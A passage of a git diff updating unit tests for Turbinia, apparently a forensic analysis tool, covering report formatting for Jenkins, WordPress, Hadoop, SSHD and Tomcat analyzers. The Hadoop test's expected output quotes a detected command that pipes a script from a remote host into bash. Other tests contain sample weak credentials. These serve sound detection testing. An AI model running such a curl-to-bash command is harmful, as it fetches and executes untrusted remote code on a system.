+            'report_priority': 10,
+            'request_id': '0xFakeRequestId',
+            'saved_paths': ['/no/path/2', '/fake/path/2'],
+            'status': 'This second fake task executed',
+            'successful': True,
+            'user': 'myuser',
+            'worker_name': 'fake_worker'
+        }, {
+            'id': '0xfakeTaskId3',
+            'instance': 'MyTurbiniaInstance',
+            'last_update': datetime.now(),
+            'name': 'TaskName3',
+            'report_data': '',
+            'report_priority': 80,
+            'request_id': '0xFakeRequestId',
+            'saved_paths': ['/no/path/3', '/fake/path/3'],
+            'status': 'Third Task Failed...',
+            'successful': False,
+            'user': 'myuser',
+            'worker_name': 'fake_worker'
+        }
+    ] # yapf: disable
+
+
   @mock.patch('turbinia.client.task_manager.PSQTaskManager._backend_setup')
   @mock.patch('turbinia.state_manager.get_state_manager')
   def testTurbiniaClientInit(self, _, __):
@@ -74,6 +200,40 @@ class TestTurbiniaClient(unittest.TestCase):
     self.assertRaises(
         TurbiniaException, client.get_task_data, "inst", "proj", "reg")
 
+  @mock.patch('turbinia.client.GoogleCloudFunction.ExecuteFunction')
+  @mock.patch('turbinia.client.task_manager.PSQTaskManager._backend_setup')
+  @mock.patch('turbinia.state_manager.get_state_manager')
+  def testClientFormatTaskStatus(self, _, __, ___):
+    """Tests format_task_status() has valid output."""
+    client = TurbiniaClient()
+    client.get_task_data = mock.MagicMock()
+    client.get_task_data.return_value = self.task_data
+    result = client.format_task_status('inst', 'proj', 'reg')
+    self.assertEqual(result.strip(), SHORT_REPORT.strip())
+
+  @mock.patch('turbinia.client.GoogleCloudFunction.ExecuteFunction')
+  @mock.patch('turbinia.client.task_manager.PSQTaskManager._backend_setup')
+  @mock.patch('turbinia.state_manager.get_state_manager')
+  def testClientFormatTaskStatusFullReport(self, _, __, ___):
+    """Tests format_task_status() has valid output with full report."""
+    client = TurbiniaClient()
+    client.get_task_data = mock.MagicMock()
+    client.get_task_data.return_value = self.task_data
+    result = client.format_task_status('inst', 'proj', 'reg', full_report=True)
+    self.assertEqual(result.strip(), LONG_REPORT.strip())
+
+  @mock.patch('turbinia.client.GoogleCloudFunction.ExecuteFunction')
+  @mock.patch('turbinia.client.task_manager.PSQTaskManager._backend_setup')
+  @mock.patch('turbinia.state_manager.get_state_manager')
+  def testClientFormatTaskStatusFiles(self, _, __, ___):
+    """Tests format_task_status() has valid output with report and files."""
+    client = TurbiniaClient()
+    client.get_task_data = mock.MagicMock()
+    client.get_task_data.return_value = self.task_data
+    result = client.format_task_status(
+        'inst', 'proj', 'reg', all_fields=True, full_report=True)
+    self.assertEqual(result.strip(), LONG_REPORT_FILES.strip())
+
 
 class TestTurbiniaServer(unittest.TestCase):
   """Test Turbinia Server class."""
diff --git a/turbinia/lib/text_formatter_test.py b/turbinia/lib/text_formatter_test.py
new file mode 100644
index 0000000..7bfcb83
--- /dev/null
+++ b/turbinia/lib/text_formatter_test.py
@@ -0,0 +1,40 @@
+# -*- coding: utf-8 -*-
+# Copyright 2019 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Tests for text_formatter."""
+
+from __future__ import unicode_literals
+
+import unittest
+
+from turbinia.lib import text_formatter as fmt
+
+
+class TextFormatterTest(unittest.TestCase):
+  """Tests for text_formatter methods."""
+
+  def setUp(self):
+    self.test_string = 'testing'
+
+  def testFormatting(self):
+    """Test text formatting."""
+    self.assertEqual('**testing**', fmt.bold(self.test_string))
+    self.assertEqual('# testing', fmt.heading1(self.test_string))
+    self.assertEqual('## testing', fmt.heading2(self.test_string))
+    self.assertEqual('### testing', fmt.heading3(self.test_string))
+    self.assertEqual('#### testing', fmt.heading4(self.test_string))
+    self.assertEqual('##### testing', fmt.heading5(self.test_string))
+    self.assertEqual('* testing', fmt.bullet(self.test_string))
+    self.assertEqual('        * testing', fmt.bullet(self.test_string, level=3))
+    self.assertEqual('`testing`', fmt.code(self.test_string))
diff --git a/turbinia/workers/analysis/jenkins_test.py b/turbinia/workers/analysis/jenkins_test.py
index 23589c7..53850d9 100644
--- a/turbinia/workers/analysis/jenkins_test.py
+++ b/turbinia/workers/analysis/jenkins_test.py
@@ -17,6 +17,7 @@
 from __future__ import unicode_literals
 
 import unittest
+import mock
 
 from turbinia import config
 from turbinia.workers.analysis import jenkins
@@ -104,6 +105,15 @@ class JenkinsAnalysisTaskTest(unittest.TestCase):
   </user>
   """
 
+  JENKINS_ANALYSIS_REPORT = """#### **Jenkins analysis found potential issues**
+* Jenkins version: 2.121.2
+* **1 weak password(s) found:**
+    * User \"admin\" with password \"weakpassword\"
+"""
+
+  JENKINS_ANALYSIS_EMPTY_REPORT = """#### Jenkins analysis found no issues
+* Jenkins version: 2.121.2"""
+
   EXPECTED_VERSION = '2.121.2'
   EXPECTED_CREDENTIALS = [('admin', '$2a$10$DSltvO4YXZuoLuUU77R871627TEST')]
 
@@ -128,6 +138,37 @@ class JenkinsAnalysisTaskTest(unittest.TestCase):
 
     self.assertEqual(credentials, self.EXPECTED_CREDENTIALS)
 
+  @mock.patch('turbinia.workers.analysis.jenkins.bruteforce_password_hashes')
+  def test_analyze_jenkins(self, bruteforce_mock):
+    """Test that analyze_jenkins returns valid output with findings."""
+    config.LoadConfig()
+    task = jenkins.JenkinsAnalysisTask()
+
+    bruteforce_mock.return_value = [
+        ('$2a$10$DSltvO4YXZuoLuUU77R871627TEST', 'weakpassword')
+    ]
+    (report, priority, summary) = task.analyze_jenkins(
+        self.EXPECTED_VERSION, self.EXPECTED_CREDENTIALS)
+
+    report = report + '\n'
+    self.assertEqual(report, self.JENKINS_ANALYSIS_REPORT)
+    self.assertEqual(priority, 10)
+    self.assertEqual(summary, 'Jenkins analysis found potential issues')
+
+  @mock.patch('turbinia.workers.analysis.jenkins.bruteforce_password_hashes')
+  def test_analyze_jenkins_no_findings(self, bruteforce_mock):
+    """Test that analyze_jenkins returns valid output with no findings."""
+    config.LoadConfig()
+    task = jenkins.JenkinsAnalysisTask()
+
+    bruteforce_mock.return_value = []
+    (report, priority, summary) = task.analyze_jenkins(
+        self.EXPECTED_VERSION, self.EXPECTED_CREDENTIALS)
+
+    self.assertEqual(report, self.JENKINS_ANALYSIS_EMPTY_REPORT)
+    self.assertEqual(priority, 80)
+    self.assertEqual(summary, 'Jenkins analysis found no issues')
+
 
 if __name__ == '__main__':
   unittest.main()
diff --git a/turbinia/workers/analysis/wordpress_test.py b/turbinia/workers/analysis/wordpress_test.py
index 67ecb1e..1b72e9b 100644
--- a/turbinia/workers/analysis/wordpress_test.py
+++ b/turbinia/workers/analysis/wordpress_test.py
@@ -27,10 +27,10 @@ class WordpressAccessLogAnalysisTaskTest(unittest.TestCase):
   """Tests for WordpressAccessLogAnalysis Task."""
 
   WORDPRESS_ACCESS_LOGS = None
-  WORDPRESS_PWNED_REPORT = """Wordpress access logs found (install, theme_edit)
-\t27/Jun/2018:19:29:54 +0000: Wordpress installation successful
-\t27/Jun/2018:19:31:15 +0000: Wordpress theme editor edited file (header.php)
-"""  # pylint: disable=line-too-long
+  # pylint: disable=line-too-long
+  WORDPRESS_PWNED_REPORT = """#### **Wordpress access logs found (install, theme_edit)**
+* 27/Jun/2018:19:29:54 +0000: Wordpress installation successful
+* 27/Jun/2018:19:31:15 +0000: Wordpress theme editor edited file (header.php)"""
 
   def setUp(self):
     filedir = os.path.dirname(os.path.realpath(__file__))
@@ -44,8 +44,12 @@ class WordpressAccessLogAnalysisTaskTest(unittest.TestCase):
     config.LoadConfig()
     task = wordpress.WordpressAccessLogAnalysisTask()
 
-    report = task.analyze_wp_access_logs(self.WORDPRESS_ACCESS_LOGS)
+    (report, priority, summary) = task.analyze_wp_access_logs(
+        self.WORDPRESS_ACCESS_LOGS)
     self.assertEqual(report, self.WORDPRESS_PWNED_REPORT)
+    self.assertEqual(priority, 20)
+    self.assertEqual(
+        summary, 'Wordpress access logs found (install, theme_edit)')
 
 
 if __name__ == '__main__':
diff --git a/turbinia/workers/hadoop_test.py b/turbinia/workers/hadoop_test.py
index c38a01e..54247e7 100644
--- a/turbinia/workers/hadoop_test.py
+++ b/turbinia/workers/hadoop_test.py
@@ -17,6 +17,7 @@
 from __future__ import unicode_literals
 
 import os
+import textwrap
 import unittest
 
 from turbinia import config
@@ -26,28 +27,15 @@ from turbinia.workers import hadoop
 class HadoopAnalysisTest(unittest.TestCase):
   """Tests for HadoopAnalysisTask."""
 
-  _EXPECTED_REPORT = """Found suspicious commands!
-File: /../../test_data/bad_yarn_saved_task
-Command: "1533561022643*Bcurl https://evilsite2.org/aldnalezi/mygit/raw/master/ab.sh | bash0"
-
-All strings from Yarn Tasks:
-Strings for /../../test_data/bad_yarn_saved_task:
-hadoop
-default"
-EHDTS
-YARN_AM_RM_TOKEN
-APPLICATION_WEB_PROXY_BASE
-%/proxy/application_1526380001485_0125"
-MAX_APP_ATTEMPTS
-APP_SUBMIT_TIME_ENV
-1533561022643*Bcurl https://evilsite2.org/aldnalezi/mygit/raw/master/ab.sh | bash0
-YARNX
-dr.who 
-,(\x092
-Application application_1526380001485_0125 failed 2 times due to AM Container for appattempt_1526380001485_0125_000002 exited with  exitCode: 0
-Failing this attempt.Diagnostics: For more detailed output, check the application tracking page: http://apelcycluster-m:8088/cluster/app/application_1526380001485_0125 Then click on links to logs of each attempt.
-. Failing the application.8
-"""
+  # pylint: disable=line-too-long
+  _EXPECTED_REPORT = textwrap.dedent(
+      """\
+      #### **Found suspicious commands!**
+      * **Command:**
+      `1533561022643*Bcurl https://evilsite2.org/aldnalezi/mygit/raw/master/ab.sh | bash0`
+      Found in file:
+      `../../test_data/bad_yarn_saved_task`
+      * Extracted 15 strings from 1 file(s)""")
 
   def setUp(self):
     self.filedir = os.path.dirname(os.path.realpath(__file__))
@@ -60,5 +48,9 @@ Failing this attempt.Diagnostics: For more detailed output, check the applicatio
     task = hadoop.HadoopAnalysisTask()
     self.maxDiff = None
     # pylint: disable=protected-access
-    report = '\n'.join(task._AnalyzeHadoopAppRoot([self.test_file]))
-    self.assertEqual(report.replace(self.filedir, ''), self._EXPECTED_REPORT)
+    (report, priority, summary) = task._AnalyzeHadoopAppRoot([self.test_file],
+                                                             self.filedir)
+    report = '\n'.join(report)
+    self.assertEqual(priority, 10)
+    self.assertEqual(summary, 'Found suspicious commands!')
+    self.assertEqual(report, self._EXPECTED_REPORT)
diff --git a/turbinia/workers/sshd_test.py b/turbinia/workers/sshd_test.py
index 1948e5d..0655ae6 100644
--- a/turbinia/workers/sshd_test.py
+++ b/turbinia/workers/sshd_test.py
@@ -30,10 +30,12 @@ PasswordAuthentication yes
 PermitEmptyPasswords Yes
   """
 
-  SSH_INSECURE_EVERYTHING_REPORT = """Insecure SSH configuration found.
-\tRoot login enabled.
-\tPassword authentication enabled.
-\tEmpty passwords permitted."""
+  SSH_INSECURE_EVERYTHING_REPORT = """#### **Insecure SSH configuration found.**
+* Root login enabled.
+* Password authentication enabled.
+* Empty passwords permitted."""
+
+  SSH_INSECURE_EVERYTHING_SUMMARY = 'Insecure SSH configuration found.'
 
   SSH_SECURE_EVERYTHING = """PermitRootLogin No
 PasswordAuthentication no
@@ -46,10 +48,13 @@ PermitEmptyPasswords no"""
     config.LoadConfig()
     task = sshd.SSHDAnalysisTask()
 
-    report = task.analyse_sshd_config(self.SSH_INSECURE_EVERYTHING)
+    (report, priority, summary) = task.analyse_sshd_config(
+        self.SSH_INSECURE_EVERYTHING)
     self.assertEqual(report, self.SSH_INSECURE_EVERYTHING_REPORT)
+    self.assertEqual(priority, 20)
+    self.assertEqual(summary, self.SSH_INSECURE_EVERYTHING_SUMMARY)
 
-    report = task.analyse_sshd_config(self.SSH_SECURE_EVERYTHING)
+    report = task.analyse_sshd_config(self.SSH_SECURE_EVERYTHING)[0]
     self.assertEqual(report, self.SSH_SECURE_EVERYTHING_REPORT)
 
 
diff --git a/turbinia/workers/tomcat_test.py b/turbinia/workers/tomcat_test.py
index 764a5b5..b8da043 100644
--- a/turbinia/workers/tomcat_test.py
+++ b/turbinia/workers/tomcat_test.py
@@ -34,18 +34,20 @@ class TomcatAnalysisTaskTest(unittest.TestCase):
 </tomcat-users>"""
 
   # pylint: disable=line-too-long
-  TOMCAT_PASSWORD_FILE_REPORT = """Tomcat found (2 hits):
-Tomcat user: <user username="tomcat" password="tomcat" roles="tomcat"/>
-Tomcat user: <user username="both" password="tomcat" roles="tomcat,role1"/>"""
+  TOMCAT_PASSWORD_FILE_REPORT = """#### **Tomcat analysis found 2 results**
+* Tomcat user: <user username="tomcat" password="tomcat" roles="tomcat"/>
+* Tomcat user: <user username="both" password="tomcat" roles="tomcat,role1"/>"""
+
+  TOMCAT_PASSWORD_FILE_REPORT_SUMMARY = 'Tomcat analysis found 2 results'
 
   # pylint: disable=line-too-long
   TOMCAT_APP_DEPLOY_LOG = r"""21-Mar-2017 19:21:08.140 INFO [localhost-startStop-2] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\MyAwesomeApp.war
 10-Sep-2012 11:41:12.283 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive /opt/apache-tomcat-8.0.32/webapps/badboy.war"""
 
   # pylint: disable=line-too-long
-  TOMCAT_APP_DEPLOY_LOG_REPORT = r"""Tomcat found (2 hits):
-Tomcat App Deployed: 21-Mar-2017 19:21:08.140 INFO [localhost-startStop-2] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\MyAwesomeApp.war
-Tomcat App Deployed: 10-Sep-2012 11:41:12.283 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive /opt/apache-tomcat-8.0.32/webapps/badboy.war"""
+  TOMCAT_APP_DEPLOY_LOG_REPORT = r"""#### **Tomcat analysis found 2 results**
+* Tomcat App Deployed: 21-Mar-2017 19:21:08.140 INFO [localhost-startStop-2] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\MyAwesomeApp.war
+* Tomcat App Deployed: 10-Sep-2012 11:41:12.283 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive /opt/apache-tomcat-8.0.32/webapps/badboy.war"""
 
   # pylint: disable=line-too-long
   TOMCAT_ACCESS_LOG = """1.2.3.4 - - [12/Apr/2018:14:01:08 -0100] "GET /manager/html HTTP/1.1" 401 2001
@@ -53,21 +55,24 @@ Tomcat App Deployed: 10-Sep-2012 11:41:12.283 INFO [localhost-startStop-1] org.a
 1.2.3.4 - admin [12/Apr/2018:14:01:39 -0100] "POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=1ABCDEFGKLMONPQRSTIRQKD240384739 HTTP/1.1" 200 27809"""
 
   # pylint: disable=line-too-long
-  TOMCAT_ACCESS_LOG_REPORT = """Tomcat found (1 hits):
-Tomcat Management: 1.2.3.4 - admin [12/Apr/2018:14:01:39 -0100] "POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=1ABCDEFGKLMONPQRSTIRQKD240384739 HTTP/1.1" 200 27809"""
+  TOMCAT_ACCESS_LOG_REPORT = """#### **Tomcat analysis found 1 results**
+* Tomcat Management: 1.2.3.4 - admin [12/Apr/2018:14:01:39 -0100] "POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=1ABCDEFGKLMONPQRSTIRQKD240384739 HTTP/1.1" 200 27809"""
 
   def test_analyse_tomcat_file(self):
     """Tests the analyze_tomcat_file method."""
     config.LoadConfig()
     task = tomcat.TomcatAnalysisTask()
 
-    report = task.analyse_tomcat_file(self.TOMCAT_PASSWORD_FILE)
+    (report, priority, summary) = task.analyse_tomcat_file(
+        self.TOMCAT_PASSWORD_FILE)
     self.assertEqual(report, self.TOMCAT_PASSWORD_FILE_REPORT)
+    self.assertEqual(priority, 20)
+    self.assertEqual(summary, self.TOMCAT_PASSWORD_FILE_REPORT_SUMMARY)
 
-    report = task.analyse_tomcat_file(self.TOMCAT_APP_DEPLOY_LOG)
+    report = task.analyse_tomcat_file(self.TOMCAT_APP_DEPLOY_LOG)[0]
     self.assertEqual(report, self.TOMCAT_APP_DEPLOY_LOG_REPORT)
 
-    report = task.analyse_tomcat_file(self.TOMCAT_ACCESS_LOG)
+    report = task.analyse_tomcat_file(self.TOMCAT_ACCESS_LOG)[0]
     self.assertEqual(report, self.TOMCAT_ACCESS_LOG_REPORT)